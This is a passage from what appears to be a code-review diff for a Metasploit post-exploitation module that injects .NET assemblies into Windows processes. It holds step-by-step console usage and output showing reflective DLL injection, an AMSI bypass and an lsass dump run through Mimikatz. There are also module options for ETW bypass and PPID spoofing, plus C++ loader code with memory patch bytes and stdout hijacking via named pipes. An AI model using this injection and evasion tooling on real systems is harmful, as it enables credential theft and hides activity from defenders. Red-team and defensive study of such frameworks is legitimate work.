||||
8. Do: ```set ARGUMENTS user```
|
||||
9. Do: ```set PROCESS nslookup.exe```
|
||||
10. Do: ```set AMSIBYPASS false```
|
||||
11. Do: ```run```
|
||||
12. You should get something like that follow
|
||||
|
||||
```
|
||||
msf5 post(windows/manage/execute_dotnet_assembly) > run
|
||||
|
||||
[*] Launching nslookup.exe to host CLR...
|
||||
[+] Process 19904 launched.
|
||||
[*] Reflectively injecting the Host DLL into 19904..
|
||||
[*] Injecting Host into 19904...
|
||||
[*] Host injected. Copy assembly into 19904...
|
||||
[*] Assembly copied.
|
||||
[*] Executing...
|
||||
[*] Start reading output
|
||||
[+] Server predefinito:
|
||||
[+] Address: 192.168.1.1
|
||||
[+]
|
||||
[+] >
|
||||
[*] End output.
|
||||
[+] Killing process 19904
|
||||
[+] Execution finished.
|
||||
[*] Post module execution completed
|
||||
msf5 post(windows/manage/execute_dotnet_assembly) >
|
||||
```
|
||||
|
||||
Than
|
||||
|
||||
1. Do: ```set AMSIBYPASS true```
|
||||
2. Do: ```run```
|
||||
|
||||
```
|
||||
msf5 post(windows/manage/execute_dotnet_assembly) > set amsibypass true
|
||||
amsibypass => true
|
||||
msf5 post(windows/manage/execute_dotnet_assembly) > run
|
||||
|
||||
[*] Launching nslookup.exe to host CLR...
|
||||
[+] Process 19568 launched.
|
||||
[*] Reflectively injecting the Host DLL into 19568..
|
||||
[*] Injecting Host into 19568...
|
||||
[*] Host injected. Copy assembly into 19568...
|
||||
[*] Assembly copied.
|
||||
[*] Executing...
|
||||
[*] Start reading output
|
||||
[+] Server predefinito:
|
||||
[+] Address: 192.168.1.1
|
||||
[+]
|
||||
[+] >
|
||||
[+] [*] Dumping lsass (744) to C:\WINDOWS\Temp\debug.bin
|
||||
[+] [+] Dump successful!
|
||||
[+]
|
||||
[+] [*] Executing loaded Mimikatz PE
|
||||
[+]
|
||||
[+] .#####. mimikatz 2.1.1 (x64) built on Jul 7 2018 03:36:26 - lil!
|
||||
[+] .## ^ ##. "A La Vie, A L'Amour" - (oe.eo)
|
||||
[+] ## / \ ## /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
|
||||
[+] ## \ / ## > http://blog.gentilkiwi.com/mimikatz
|
||||
[+] '## v ##' Vincent LE TOUX ( vincent.letoux@gmail.com )
|
||||
[+] '#####' > http://pingcastle.com / http://mysmartlogon.com ***/
|
||||
[+]
|
||||
[+] mimikatz # Opening : 'C:\Windows\Temp\debug.bin' file for minidump...
|
||||
[+] ERROR kuhl_m_sekurlsa_acquireLSA ; Logon list
|
||||
[+] Opening : 'C:\Windows\Temp\debug.bin' file for minidump...
|
||||
[+] ERROR kuhl_m_sekurlsa_acquireLSA ; Handle on memory (0x00000002)
|
||||
[+]
|
||||
[+] mimikatz # deleting C:\Windows\Temp\debug.bin
|
||||
[+] Execution started
|
||||
[+] ICorRuntimeHost->GetDefaultDomain(...) succeeded
|
||||
[*] End output.
|
||||
[+] Killing process 19568
|
||||
[+] Execution finished.
|
||||
[*] Post module execution completed
|
||||
msf5 post(windows/manage/execute_dotnet_assembly) >
|
||||
```
|
||||
1. Build or download a .NET project
|
||||
1. Buid project with target framework that is present on the host
|
||||
1. Start msfconsole
|
||||
1. Do: ```use post/windows/manage/execute_dotnet_assembly```
|
||||
1. Do: ```set SESSION sessionid```
|
||||
1. Do: ```set TECHNIQUE SPAWN_AND_INJECT``` (to run within a new process)
|
||||
1. Do: ```set PPID 8648``` (optional PPID spoofing)
|
||||
1. Do: ```set PROCESS notepad.exe``` (process to launch)
|
||||
1. Do: ```set USETHREADTOKEN false``` (whether to launch the process under the current impersonation context)
|
||||
1. Do: ```set DOTNET_EXE /your/output/folder/SeatBelt.exe```
|
||||
1. Do: ```set ARGUMENTS user```
|
||||
1. Do: ```set KILL true``` (kill the spawned process once the assembly has completed - default: true)
|
||||
1. Do: ```run```
|
||||
1. The assembly should run.
|
||||
|
||||
## Options
|
||||
|
||||
```
|
||||
|
||||
Module options (post/windows/manage/execute_dotnet_assembly):
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
AMSIBYPASS true yes Enable AMSI bypass
|
||||
ARGUMENTS no Command line arguments
|
||||
DOTNET_EXE ~/SeatBelt.exe yes Assembly file name
|
||||
ETWBYPASS true yes Enable ETW bypass
|
||||
SESSION yes The session to run this module on
|
||||
Signature Automatic yes The Main function signature (Accepted: Automatic, Main(), Main(string[]))
|
||||
TECHNIQUE SELF yes Technique for executing assembly (Accepted: SELF, INJECT, SPAWN_AND_INJECT)
|
||||
|
||||
|
||||
When TECHNIQUE is SPAWN_AND_INJECT:
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
AMSIBYPASS true yes Enable Amsi bypass
|
||||
ARGUMENTS no Command line arguments
|
||||
DOTNET_EXE yes Assembly file name
|
||||
ETWBYPASS true yes Enable Etw bypass
|
||||
PID 0 no Pid to inject
|
||||
PPID 0 no Process Identifier for PPID spoofing when creating a new process. (0 = no PPID spoofing)
|
||||
PPID no Process Identifier for PPID spoofing when creating a new process (no PPID spoofing if unset)
|
||||
PROCESS notepad.exe no Process to spawn
|
||||
SESSION yes The session to run this module on.
|
||||
USETHREADTOKEN true no Spawn process with thread impersonation
|
||||
WAIT 10 no Time in seconds to wait
|
||||
|
||||
|
||||
When TECHNIQUE is INJECT:
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
PID no PID to inject
|
||||
|
||||
```
|
||||
|
||||
AMSIBYPASS
|
||||
### Advanced options:
|
||||
|
||||
Enable or Disable Amsi bypass. This parameter is necessary due to the
|
||||
technique used. It is possible that subsequent updates will make the
|
||||
bypass unstable which could result in a crash. By setting the parameter
|
||||
to false the module continues to work.
|
||||
```
|
||||
|
||||
ARGUMENTS
|
||||
Active when TECHNIQUE is SPAWN_AND_INJECT:
|
||||
|
||||
Command line arguments. The signature of the Main method must match with
|
||||
the parameters that have been set in the module, for example:
|
||||
|
||||
If the property ARGUMENTS is set to "antani sblinda destra" the main
|
||||
method should be "static void main (string [] args)"<br />
|
||||
If the property ARGUMENTS is set to "" the main method should be "static
|
||||
void main ()"
|
||||
|
||||
DOTNET_EXE
|
||||
|
||||
Dotnet Executable to execute
|
||||
|
||||
PID
|
||||
|
||||
Pid to inject. If different from 0 the module does not create a new
|
||||
process but uses the existing process identified by the PID parameter.
|
||||
|
||||
PROCESS
|
||||
|
||||
Process to spawn when PID is equal to 0.
|
||||
|
||||
SESSION
|
||||
|
||||
The session to run this module on. Must be meterpreter session
|
||||
|
||||
WAIT
|
||||
|
||||
Time in seconds to wait before starting to read the output.
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
KILL true yes Kill the launched process at the end of the task
|
||||
|
||||
```
|
||||
@@ -236,4 +236,4 @@ ULONG NTAPI MyEtwEventWrite(
|
||||
__in ULONG UserDataCount,
|
||||
__in_ecount_opt(UserDataCount) PEVENT_DATA_DESCRIPTOR UserData);
|
||||
|
||||
BOOL PatchEtw();
|
||||
BOOL PatchEtw(HANDLE pipe);
|
||||
|
||||
@@ -4,6 +4,7 @@
|
||||
|
||||
#include "stdafx.h"
|
||||
#include "ReflectiveLoader.h"
|
||||
#include "ReflectiveFree.h"
|
||||
#include "HostingCLR.h"
|
||||
|
||||
extern HINSTANCE hAppInstance;
|
||||
@@ -21,8 +22,16 @@ BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD dwReason, LPVOID lpReserved)
|
||||
hAppInstance = hinstDLL;
|
||||
Execute(lpReserved);
|
||||
fflush(stdout);
|
||||
|
||||
// Free the assembly and parameters
|
||||
VirtualFree(lpReserved, 0, MEM_RELEASE);
|
||||
|
||||
ReflectiveFree(hinstDLL);
|
||||
|
||||
break;
|
||||
case DLL_PROCESS_DETACH:
|
||||
ReflectiveFree(hinstDLL);
|
||||
break;
|
||||
case DLL_THREAD_ATTACH:
|
||||
case DLL_THREAD_DETACH:
|
||||
break;
|
||||
|
||||
+288
-230
@@ -19,18 +19,12 @@
|
||||
#define MethodJittingStarted 145
|
||||
#define ILStubGenerated 88
|
||||
|
||||
bool amsiflag;
|
||||
bool etwflag;
|
||||
unsigned char signflag[1];
|
||||
|
||||
char sig_40[] = { 0x76,0x34,0x2E,0x30,0x2E,0x33,0x30,0x33,0x31,0x39 };
|
||||
char sig_20[] = { 0x76,0x32,0x2E,0x30,0x2E,0x35,0x30,0x37,0x32,0x37 };
|
||||
#define ReportErrorThroughPipe(pipe, format, ...) {char buf[1024]; DWORD written; snprintf(buf, 1024, format, __VA_ARGS__); WriteFile(pipe, buf, (DWORD)strlen(buf), &written, NULL);}
|
||||
|
||||
// mov rax, <Hooked function address>
|
||||
// jmp rax
|
||||
unsigned char uHook[] = {
|
||||
0x48, 0xb8, 0x00,0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
|
||||
0xFF, 0xE0
|
||||
0xC3
|
||||
};
|
||||
|
||||
#ifdef _X32
|
||||
@@ -42,10 +36,17 @@ unsigned char amsipatch[] = { 0xB8, 0x57, 0x00, 0x07, 0x80, 0xC3 };
|
||||
SIZE_T patchsize = 6;
|
||||
#endif
|
||||
|
||||
union PARAMSIZE {
|
||||
unsigned char myByte[4];
|
||||
int intvalue;
|
||||
} paramsize;
|
||||
struct Metadata
|
||||
{
|
||||
unsigned int pipenameLength;
|
||||
unsigned int appdomainLength;
|
||||
unsigned int clrVersionLength;
|
||||
unsigned int argsSize;
|
||||
unsigned int assemblySize;
|
||||
unsigned char amsiBypass;
|
||||
unsigned char etwBypass;
|
||||
};
|
||||
DWORD METADATA_SIZE = 22;
|
||||
|
||||
int executeSharp(LPVOID lpPayload)
|
||||
{
|
||||
@@ -56,158 +57,179 @@ int executeSharp(LPVOID lpPayload)
|
||||
BOOL bLoadable;
|
||||
ICorRuntimeHost* pRuntimeHost = NULL;
|
||||
IUnknownPtr pAppDomainThunk = NULL;
|
||||
_AppDomainPtr pDefaultAppDomain = NULL;
|
||||
_AppDomainPtr pCustomAppDomain = NULL;
|
||||
IEnumUnknown* pEnumerator = NULL;
|
||||
_AssemblyPtr pAssembly = NULL;
|
||||
SAFEARRAYBOUND rgsabound[1];
|
||||
SIZE_T readed;
|
||||
_MethodInfoPtr pMethodInfo = NULL;
|
||||
VARIANT retVal;
|
||||
VARIANT obj;
|
||||
SAFEARRAY *psaStaticMethodArgs;
|
||||
SAFEARRAY* psaStaticMethodArgs;
|
||||
SAFEARRAY* psaEntryPointParameters;
|
||||
VARIANT vtPsa;
|
||||
|
||||
unsigned char pSize[8];
|
||||
char* pipeName = NULL;
|
||||
char* appdomainName = NULL;
|
||||
char* clrVersion = NULL;
|
||||
wchar_t* clrVersion_w = NULL;
|
||||
BYTE* arg_s = NULL;
|
||||
wchar_t* appdomainName_w = NULL;
|
||||
|
||||
//Read parameters assemblysize + argssize
|
||||
ReadProcessMemory(GetCurrentProcess(), lpPayload, pSize, 8, &readed);
|
||||
Metadata metadata;
|
||||
|
||||
PARAMSIZE assemblysize;
|
||||
assemblysize.myByte[0] = pSize[0];
|
||||
assemblysize.myByte[1] = pSize[1];
|
||||
assemblysize.myByte[2] = pSize[2];
|
||||
assemblysize.myByte[3] = pSize[3];
|
||||
// Structure of lpPayload:
|
||||
// - Packed metadata, including lengths of the following fields
|
||||
// - Pipe name (ASCII)
|
||||
// - Appdomain name (ASCII)
|
||||
// - Clr Version Name (ASCII)
|
||||
// - Param data
|
||||
// - Assembly data
|
||||
|
||||
memcpy(&metadata, lpPayload, METADATA_SIZE);
|
||||
|
||||
PARAMSIZE argssize;
|
||||
argssize.myByte[0] = pSize[4];
|
||||
argssize.myByte[1] = pSize[5];
|
||||
argssize.myByte[2] = pSize[6];
|
||||
argssize.myByte[3] = pSize[7];
|
||||
BYTE* data_ptr = (BYTE*)lpPayload + METADATA_SIZE;
|
||||
|
||||
long raw_assembly_length = assemblysize.intvalue;
|
||||
long raw_args_length = argssize.intvalue;
|
||||
pipeName = (char*)malloc((metadata.pipenameLength + 1) * sizeof(char));
|
||||
memcpy(pipeName, data_ptr, metadata.pipenameLength);
|
||||
pipeName[metadata.pipenameLength] = 0; // Null-terminate
|
||||
data_ptr += metadata.pipenameLength;
|
||||
|
||||
unsigned char *allData = (unsigned char*)malloc(raw_assembly_length * sizeof(unsigned char)+ raw_args_length * sizeof(unsigned char) + 9 * sizeof(unsigned char));
|
||||
unsigned char *arg_s = (unsigned char*)malloc(raw_args_length * sizeof(unsigned char));
|
||||
unsigned char *rawData = (unsigned char*)malloc(raw_assembly_length * sizeof(unsigned char));
|
||||
appdomainName = (char*)malloc((metadata.appdomainLength + 1) * sizeof(char));
|
||||
memcpy(appdomainName, data_ptr, metadata.appdomainLength);
|
||||
appdomainName[metadata.appdomainLength] = 0; // Null-terminate
|
||||
data_ptr += metadata.appdomainLength;
|
||||
|
||||
SecureZeroMemory(allData, raw_assembly_length * sizeof(unsigned char) + raw_args_length * sizeof(unsigned char) + 9 * sizeof(unsigned char));
|
||||
SecureZeroMemory(arg_s, raw_args_length * sizeof(unsigned char));
|
||||
SecureZeroMemory(rawData, raw_assembly_length * sizeof(unsigned char));
|
||||
clrVersion = (char*)malloc((metadata.clrVersionLength + 1) * sizeof(char));
|
||||
memcpy(clrVersion, data_ptr, metadata.clrVersionLength);
|
||||
clrVersion[metadata.clrVersionLength] = 0; // Null-terminate
|
||||
data_ptr += metadata.clrVersionLength;
|
||||
|
||||
rgsabound[0].cElements = raw_assembly_length;
|
||||
// Convert to wchar
|
||||
clrVersion_w = new wchar_t[metadata.clrVersionLength + 1];
|
||||
mbstowcs(clrVersion_w, clrVersion, metadata.clrVersionLength + 1);
|
||||
|
||||
arg_s = (unsigned char*)malloc(metadata.argsSize * sizeof(BYTE));;
|
||||
memcpy(arg_s, data_ptr, metadata.argsSize);
|
||||
data_ptr += metadata.argsSize;
|
||||
|
||||
////////////////// Hijack stdout
|
||||
|
||||
// Create a pipe to send data
|
||||
HANDLE pipe = CreateNamedPipeA(
|
||||
pipeName, // name of the pipe
|
||||
PIPE_ACCESS_OUTBOUND, // 1-way pipe -- send only
|
||||
PIPE_TYPE_BYTE, // send data as a message stream
|
||||
1, // only allow 1 instance of this pipe
|
||||
0, // no outbound buffer
|
||||
0, // no inbound buffer
|
||||
0, // use default wait time
|
||||
NULL // use default security attributes
|
||||
);
|
||||
|
||||
if (pipe == NULL || pipe == INVALID_HANDLE_VALUE) {
|
||||
//printf("[CLRHOST] Failed to create outbound pipe instance.\n");
|
||||
hr = -1;
|
||||
goto Cleanup;
|
||||
}
|
||||
|
||||
// This call blocks until a client process connects to the pipe
|
||||
BOOL result = ConnectNamedPipe(pipe, NULL);
|
||||
if (!result) {
|
||||
//printf("[CLRHOST] Failed to make connection on named pipe.\n");
|
||||
hr = -1;
|
||||
goto Cleanup;
|
||||
}
|
||||
|
||||
SetStdHandle(STD_OUTPUT_HANDLE, pipe);
|
||||
SetStdHandle(STD_ERROR_HANDLE, pipe);
|
||||
|
||||
///////////////////// Done hijacking stdout
|
||||
|
||||
rgsabound[0].cElements = metadata.assemblySize;
|
||||
rgsabound[0].lLbound = 0;
|
||||
SAFEARRAY* pSafeArray = SafeArrayCreate(VT_UI1, 1, rgsabound);
|
||||
|
||||
void* pvData = NULL;
|
||||
hr = SafeArrayAccessData(pSafeArray, &pvData);
|
||||
|
||||
|
||||
if (FAILED(hr))
|
||||
{
|
||||
printf("Failed SafeArrayAccessData w/hr 0x%08lx\n", hr);
|
||||
return -1;
|
||||
ReportErrorThroughPipe(pipe, "[CLRHOST] Failed SafeArrayAccessData w/hr 0x%08lx\n", hr);
|
||||
goto Cleanup;
|
||||
}
|
||||
|
||||
//Reading memory parameters + amsiflag + args + assembly
|
||||
ReadProcessMemory(GetCurrentProcess(), lpPayload , allData, raw_assembly_length + raw_args_length + 11, &readed);
|
||||
|
||||
//Taking pointer to amsi
|
||||
unsigned char *offsetamsi = allData + 8;
|
||||
//Store amsi flag
|
||||
amsiflag = (offsetamsi[0] != 0);
|
||||
|
||||
unsigned char *offsetetw = allData + 9;
|
||||
//Store etw flag
|
||||
etwflag = (offsetamsi[0] != 0);
|
||||
|
||||
unsigned char *offsetsign = allData + 10;
|
||||
//Store sihnature flag
|
||||
memcpy(signflag, offsetsign, 1);
|
||||
|
||||
//Taking pointer to args
|
||||
unsigned char *offsetargs = allData + 11;
|
||||
//Store parameters
|
||||
memcpy(arg_s, offsetargs, raw_args_length);
|
||||
|
||||
//Taking pointer to assembly
|
||||
unsigned char *offset = allData + raw_args_length + 11;
|
||||
//Store assembly
|
||||
memcpy(pvData, offset, raw_assembly_length);
|
||||
|
||||
LPCWSTR clrVersion;
|
||||
|
||||
if(FindVersion(pvData, raw_assembly_length))
|
||||
{
|
||||
clrVersion = L"v4.0.30319";
|
||||
}
|
||||
else
|
||||
{
|
||||
clrVersion = L"v2.0.50727";
|
||||
}
|
||||
// Store assembly
|
||||
memcpy(pvData, data_ptr, metadata.assemblySize);
|
||||
|
||||
hr = SafeArrayUnaccessData(pSafeArray);
|
||||
|
||||
if (FAILED(hr))
|
||||
{
|
||||
printf("Failed SafeArrayUnaccessData w/hr 0x%08lx\n", hr);
|
||||
return -1;
|
||||
ReportErrorThroughPipe(pipe, "[CLRHOST] Failed SafeArrayUnaccessData w/hr 0x%08lx\n", hr);
|
||||
goto Cleanup;
|
||||
}
|
||||
|
||||
//Etw bypass
|
||||
if (etwflag)
|
||||
// Etw bypass
|
||||
if (metadata.etwBypass)
|
||||
{
|
||||
int ptcResult = PatchEtw();
|
||||
int ptcResult = PatchEtw(pipe);
|
||||
if (ptcResult == -1)
|
||||
{
|
||||
wprintf(L"Etw bypass failed\n");
|
||||
return -1;
|
||||
ReportErrorThroughPipe(pipe, "[CLRHOST] Etw bypass failed\n");
|
||||
goto Cleanup;
|
||||
}
|
||||
}
|
||||
|
||||
HMODULE hMscoree = LoadLibrary("mscoree.dll");
|
||||
FARPROC clrCreateInstance = GetProcAddress(hMscoree, "CLRCreateInstance");
|
||||
if (clrCreateInstance == NULL)
|
||||
{
|
||||
ReportErrorThroughPipe(pipe, "[CLRHOST] CLRCreateInstance not present on this system.\n");
|
||||
goto Cleanup;
|
||||
}
|
||||
hr = CLRCreateInstance(CLSID_CLRMetaHost, IID_ICLRMetaHost, (VOID**)&pMetaHost);
|
||||
|
||||
if(FAILED(hr))
|
||||
if (FAILED(hr))
|
||||
{
|
||||
printf("CLRCreateInstance failed w/hr 0x%08lx\n", hr);
|
||||
return -1;
|
||||
ReportErrorThroughPipe(pipe, "[CLRHOST] CLRCreateInstance failed w/hr 0x%08lx\n", hr);
|
||||
goto Cleanup;
|
||||
}
|
||||
|
||||
IEnumUnknown* pEnumerator;
|
||||
HANDLE hProcess = OpenProcess(PROCESS_QUERY_INFORMATION, FALSE, GetCurrentProcessId());
|
||||
hr = pMetaHost->EnumerateLoadedRuntimes(hProcess, &pEnumerator);
|
||||
|
||||
if (FAILED(hr))
|
||||
{
|
||||
printf("Cannot enumerate loaded runtime w/hr 0x%08lx\n", hr);
|
||||
return -1;
|
||||
ReportErrorThroughPipe(pipe, "[CLRHOST] Cannot enumerate loaded runtime w/hr 0x%08lx\n", hr);
|
||||
goto Cleanup;
|
||||
}
|
||||
|
||||
BOOL isloaded = ClrIsLoaded(clrVersion, pEnumerator, (VOID**)&pRuntimeInfo);
|
||||
|
||||
if(!isloaded)
|
||||
BOOL isloaded = ClrIsLoaded(clrVersion_w, pEnumerator, (VOID**)&pRuntimeInfo);
|
||||
|
||||
if (!isloaded)
|
||||
{
|
||||
hr = pMetaHost->GetRuntime(clrVersion, IID_ICLRRuntimeInfo, (VOID**)&pRuntimeInfo);
|
||||
hr = pMetaHost->GetRuntime(clrVersion_w, IID_ICLRRuntimeInfo, (VOID**)&pRuntimeInfo);
|
||||
|
||||
if (FAILED(hr))
|
||||
{
|
||||
wprintf(L"Cannot get the required CLR version (%s) w/hr 0x%08lx\n", clrVersion, hr);
|
||||
return -1;
|
||||
ReportErrorThroughPipe(pipe, "[CLRHOST] Cannot get the required CLR version (%s) w/hr 0x%08lx\n", clrVersion, hr);
|
||||
goto Cleanup;
|
||||
}
|
||||
|
||||
hr = pRuntimeInfo->IsLoadable(&bLoadable);
|
||||
|
||||
if (FAILED(hr) || !bLoadable)
|
||||
{
|
||||
wprintf(L"Cannot load the required CLR version (%s) w/hr 0x%08lx\n", clrVersion, hr);
|
||||
return -1;
|
||||
ReportErrorThroughPipe(pipe, "[CLRHOST] Cannot load the required CLR version (%s) w/hr 0x%08lx\n", clrVersion, hr);
|
||||
goto Cleanup;
|
||||
}
|
||||
}
|
||||
|
||||
hr = pRuntimeInfo->GetInterface(CLSID_CorRuntimeHost, IID_ICorRuntimeHost, (VOID**)&pRuntimeHost);
|
||||
|
||||
if(FAILED(hr))
|
||||
if (FAILED(hr))
|
||||
{
|
||||
printf("ICLRRuntimeInfo::GetInterface failed w/hr 0x%08lx\n", hr);
|
||||
return -1;
|
||||
ReportErrorThroughPipe(pipe, "[CLRHOST] ICLRRuntimeInfo::GetInterface failed w/hr 0x%08lx\n", hr);
|
||||
goto Cleanup;
|
||||
}
|
||||
|
||||
if (!isloaded)
|
||||
@@ -215,185 +237,227 @@ int executeSharp(LPVOID lpPayload)
|
||||
hr = pRuntimeHost->Start();
|
||||
}
|
||||
|
||||
if(FAILED(hr))
|
||||
if (FAILED(hr))
|
||||
{
|
||||
printf("CLR failed to start w/hr 0x%08lx\n", hr);
|
||||
return -1;
|
||||
ReportErrorThroughPipe(pipe, "[CLRHOST] CLR failed to start w/hr 0x%08lx\n", hr);
|
||||
goto Cleanup;
|
||||
}
|
||||
|
||||
hr = pRuntimeHost->GetDefaultDomain(&pAppDomainThunk);
|
||||
// Convert to wchar
|
||||
appdomainName_w = new wchar_t[metadata.appdomainLength+1];
|
||||
mbstowcs(appdomainName_w, appdomainName, metadata.appdomainLength+1);
|
||||
|
||||
if(FAILED(hr))
|
||||
hr = pRuntimeHost->CreateDomain(appdomainName_w, NULL, &pAppDomainThunk);
|
||||
|
||||
if (FAILED(hr))
|
||||
{
|
||||
printf("ICorRuntimeHost::GetDefaultDomain failed w/hr 0x%08lx\n", hr);
|
||||
return -1;
|
||||
ReportErrorThroughPipe(pipe, "[CLRHOST] ICorRuntimeHost::CreateDomain failed w/hr 0x%08lx\n", hr);
|
||||
goto Cleanup;
|
||||
}
|
||||
|
||||
hr = pAppDomainThunk->QueryInterface(__uuidof(_AppDomain), (VOID**) &pDefaultAppDomain);
|
||||
hr = pAppDomainThunk->QueryInterface(__uuidof(_AppDomain), (VOID**)&pCustomAppDomain);
|
||||
|
||||
if(FAILED(hr))
|
||||
if (FAILED(hr))
|
||||
{
|
||||
printf("Failed to get default AppDomain w/hr 0x%08lx\n", hr);
|
||||
return -1;
|
||||
ReportErrorThroughPipe(pipe, "[CLRHOST] Failed to get default AppDomain w/hr 0x%08lx\n", hr);
|
||||
goto Cleanup;
|
||||
}
|
||||
|
||||
//Amsi bypass
|
||||
if (amsiflag)
|
||||
// Amsi bypass
|
||||
if (metadata.amsiBypass)
|
||||
{
|
||||
int ptcResult = PatchAmsi();
|
||||
int ptcResult = PatchAmsi(pipe);
|
||||
if (ptcResult == -1)
|
||||
{
|
||||
printf("Amsi bypass failed\n");
|
||||
return -1;
|
||||
ReportErrorThroughPipe(pipe, "[CLRHOST] Amsi bypass failed\n");
|
||||
goto Cleanup;
|
||||
}
|
||||
}
|
||||
|
||||
hr = pDefaultAppDomain->Load_3(pSafeArray, &pAssembly);
|
||||
hr = pCustomAppDomain->Load_3(pSafeArray, &pAssembly);
|
||||
|
||||
if(FAILED(hr))
|
||||
if (FAILED(hr))
|
||||
{
|
||||
printf("Failed pDefaultAppDomain->Load_3 w/hr 0x%08lx\n", hr);
|
||||
return -1;
|
||||
ReportErrorThroughPipe(pipe, "[CLRHOST] Failed pCustomAppDomain->Load_3 w/hr 0x%08lx\n", hr);
|
||||
goto Cleanup;
|
||||
}
|
||||
|
||||
hr = pAssembly->get_EntryPoint(&pMethodInfo);
|
||||
|
||||
if(FAILED(hr))
|
||||
if (FAILED(hr))
|
||||
{
|
||||
printf("Failed pAssembly->get_EntryPoint w/hr 0x%08lx\n", hr);
|
||||
return -1;
|
||||
ReportErrorThroughPipe(pipe, "[CLRHOST] Failed pAssembly->get_EntryPoint w/hr 0x%08lx\n", hr);
|
||||
goto Cleanup;
|
||||
}
|
||||
|
||||
// Let's check the number of parameters: must be either the 0-arg Main(), or a 1-arg Main(string[])
|
||||
pMethodInfo->GetParameters(&psaEntryPointParameters);
|
||||
hr = SafeArrayLock(psaEntryPointParameters);
|
||||
if (!SUCCEEDED(hr))
|
||||
{
|
||||
ReportErrorThroughPipe(pipe, "[CLRHOST] Failed to lock param array w/hr 0x%08lx\n", hr);
|
||||
goto Cleanup;
|
||||
}
|
||||
long uBound, lBound;
|
||||
SafeArrayGetLBound(psaEntryPointParameters, 1, &lBound);
|
||||
SafeArrayGetUBound(psaEntryPointParameters, 1, &uBound);
|
||||
long numArgs = uBound - lBound + 1;
|
||||
hr = SafeArrayUnlock(psaEntryPointParameters);
|
||||
if (!SUCCEEDED(hr))
|
||||
{
|
||||
ReportErrorThroughPipe(pipe, "[CLRHOST] Failed to unlock param array w/hr 0x%08lx\n", hr);
|
||||
goto Cleanup;
|
||||
}
|
||||
|
||||
ZeroMemory(&retVal, sizeof(VARIANT));
|
||||
ZeroMemory(&obj, sizeof(VARIANT));
|
||||
|
||||
|
||||
obj.vt = VT_NULL;
|
||||
vtPsa.vt = (VT_ARRAY | VT_BSTR);
|
||||
|
||||
//Managing parameters
|
||||
if(signflag[0] == '\x02')
|
||||
switch (numArgs)
|
||||
{
|
||||
//if we have at least 1 parameter set cEleemnt to 1
|
||||
case 0:
|
||||
if (metadata.argsSize > 1) // There is always a Null byte at least, so "1" in size means "0 args"
|
||||
{
|
||||
ReportErrorThroughPipe(pipe, "[CLRHOST] Assembly takes no arguments, but some were provided\n");
|
||||
goto Cleanup;
|
||||
}
|
||||
// If no parameters set cElement to 0
|
||||
psaStaticMethodArgs = SafeArrayCreateVector(VT_VARIANT, 0, 0);
|
||||
break;
|
||||
case 1:
|
||||
{
|
||||
// If we have at least 1 parameter set cElement to 1
|
||||
psaStaticMethodArgs = SafeArrayCreateVector(VT_VARIANT, 0, 1);
|
||||
|
||||
LPWSTR *szArglist;
|
||||
int nArgs;
|
||||
wchar_t *wtext = (wchar_t *)malloc((sizeof(wchar_t) * raw_args_length));
|
||||
// Here we unfortunately need to do a trick. CommandLineToArgvW treats the first argument differently, as
|
||||
// it expects it to be a filename. This affects situations where the first argument contains backslashes,
|
||||
// or if there are no arguments at all (it will just create one - the process's image name).
|
||||
// To coerce it into performing the correct data transformation, we create a fake first parameter, and then
|
||||
// ignore it in the output.
|
||||
|
||||
mbstowcs(wtext, (char *)arg_s, raw_args_length);
|
||||
LPWSTR* szArglist;
|
||||
int nArgs;
|
||||
wchar_t* wtext = (wchar_t*)malloc((sizeof(wchar_t) * (metadata.argsSize + 2)));
|
||||
wtext[0] = L'X'; // Fake process name
|
||||
wtext[1] = L' '; // Separator
|
||||
|
||||
|
||||
mbstowcs(wtext+2, (char*)arg_s, metadata.argsSize);
|
||||
szArglist = CommandLineToArgvW(wtext, &nArgs);
|
||||
|
||||
free(wtext);
|
||||
|
||||
vtPsa.parray = SafeArrayCreateVector(VT_BSTR, 0, nArgs);
|
||||
vtPsa.parray = SafeArrayCreateVector(VT_BSTR, 0, nArgs - 1); // Subtract 1, to ignore the fake process name
|
||||
|
||||
for(long i = 0;i< nArgs;i++)
|
||||
for (long i = 1; i < nArgs; i++) // Start a 1 - ignoring the fake process name
|
||||
{
|
||||
size_t converted;
|
||||
size_t strlength = wcslen(szArglist[i]) + 1;
|
||||
OLECHAR *sOleText1 = new OLECHAR[strlength];
|
||||
char * buffer = (char *)malloc(strlength * sizeof(char));
|
||||
|
||||
OLECHAR* sOleText1 = new OLECHAR[strlength];
|
||||
char* buffer = (char*)malloc(strlength * sizeof(char));
|
||||
|
||||
wcstombs(buffer, szArglist[i], strlength);
|
||||
|
||||
|
||||
mbstowcs_s(&converted, sOleText1, strlength, buffer, strlength);
|
||||
BSTR strParam1 = SysAllocString(sOleText1);
|
||||
|
||||
SafeArrayPutElement(vtPsa.parray, &i, strParam1);
|
||||
long actualPosition = i - 1;
|
||||
SafeArrayPutElement(vtPsa.parray, &actualPosition, strParam1);
|
||||
free(buffer);
|
||||
}
|
||||
|
||||
LocalFree(szArglist);
|
||||
|
||||
long iEventCdIdx(0);
|
||||
hr = SafeArrayPutElement(psaStaticMethodArgs, &iEventCdIdx, &vtPsa);
|
||||
break;
|
||||
}
|
||||
else
|
||||
{
|
||||
//if no parameters set cEleemnt to 0
|
||||
psaStaticMethodArgs = SafeArrayCreateVector(VT_VARIANT, 0, 0);
|
||||
default:
|
||||
ReportErrorThroughPipe(pipe, "[CLRHOST] Unexpected argument length: %d\n", numArgs);
|
||||
goto Cleanup;
|
||||
}
|
||||
|
||||
|
||||
//Assembly execution
|
||||
hr = pMethodInfo->Invoke_3(obj, psaStaticMethodArgs, &retVal);
|
||||
|
||||
if(FAILED(hr))
|
||||
if (FAILED(hr))
|
||||
{
|
||||
printf("Failed pMethodInfo->Invoke_3 w/hr 0x%08lx\n", hr);
|
||||
return -1;
|
||||
ReportErrorThroughPipe(pipe, "[CLRHOST] Unhandled exception when running assembly w/hr 0x%08lx\n", hr);
|
||||
goto Cleanup;
|
||||
}
|
||||
|
||||
wprintf(L"Succeeded\n");
|
||||
|
||||
return 0;
|
||||
Cleanup:
|
||||
|
||||
